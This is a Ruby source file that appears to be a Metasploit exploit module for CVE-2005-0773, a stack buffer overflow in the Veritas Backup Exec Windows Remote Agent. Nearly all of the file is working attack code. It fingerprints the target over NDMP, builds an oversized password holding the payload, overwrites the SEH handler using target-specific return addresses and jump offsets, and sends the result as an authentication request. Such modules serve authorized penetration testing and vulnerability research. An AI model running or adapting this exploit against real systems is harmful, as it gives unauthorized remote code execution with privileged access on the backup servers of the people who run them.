127 lines
3.3 KiB
Ruby
127 lines
3.3 KiB
Ruby
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require 'msf/core'
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module Msf
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class Exploits::Windows::Backupexec::BackupExecAgentOverflow < Msf::Exploit::Remote
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include Exploit::Remote::NDMP
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Veritas Backup Exec Windows Remote Agent Overflow',
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'Description' => %q{
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This module exploits a stack overflow in the Veritas
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BackupExec Windows Agent software. This vulnerability occurs
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when a client authentication request is received with type
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'3' and a long password argument. Reliable execution is
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obtained by abusing the stack overflow to smash a SEH
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pointer.
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},
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'Author' => [ 'hdm' ],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2005-0773'],
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[ 'URL', 'http://www.idefense.com/application/poi/display?id=272&type=vulnerabilities'],
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[ 'URL', 'http://seer.support.veritas.com/docs/276604.htm'],
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[ 'MIL', '9'],
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],
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'Privileged' => true,
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x00",
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'StackAdjustment' => -3500,
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},
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'Targets' =>
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[
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[
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'Veritas BE 9.0/9.1/10.0 (All Windows)',
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{
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'Platform' => 'win',
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'Rets' => [ 0x0140f8d5, 0x014261b0 ],
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},
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],
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[
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'Veritas BE 9.0/9.1/10.0 (Windows 2000)',
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{
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'Platform' => 'win',
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'Rets' => [ 0x75022ac4, 0x75022ac4 ],
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},
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],
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],
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'DisclosureDate' => '',
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(10000)
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], self)
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end
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def check
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info = ndmp_info()
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if (info and info['Version'])
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print_status(" Vendor: #{info['Vendor']}")
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print_status("Product: #{info['Product']}")
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print_status("Version: #{info['Version']}")
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if (info['Vendor'] =~ /VERITAS/i and info['Version'] =~ /^(4\.2|5\.1)$/)
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return Exploit::CheckCode::Detected
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end
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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connect
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print_status("Trying target #{target.name}...")
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resp = ndmp_recv()
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username = 'X' * 512
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password = Rex::Text.rand_text_alphanumeric(8192)
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# Place our payload early in the request and jump backwards into it
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password[ 3536 - payload.encoded.length, payload.encoded.length] = payload.encoded
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# This offset is required for version 10.0
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password[3536, 2] = "\xeb\x06"
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password[3540, 4] = [ target['Rets'][1] ].pack('V')
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password[3544, 5] = "\xe9" + [-1037].pack('V')
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# This offset is required for version 9.0/9.1
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password[4524, 2] = "\xeb\x06"
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password[4528, 4] = [ target['Rets'][0] ].pack('V')
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password[4532, 5] = "\xe9" + [-2025].pack('V')
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# Create the authentication request
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auth = [
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1, # Sequence number
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Time.now.to_i, # Current time
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0, # Message type (request)
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0x901, # Message name (connect_client_auth)
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0, # Reply sequence number
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0, # Error status
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3 # Authentication type
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].pack('NNNNNNN') +
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[ username.length ].pack('N') + username +
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[ password.length ].pack('N') + password +
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[ 4 ].pack('N')
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print_status("Sending authentication request...")
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ndmp_send(auth)
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handler
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disconnect
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end
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end
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end
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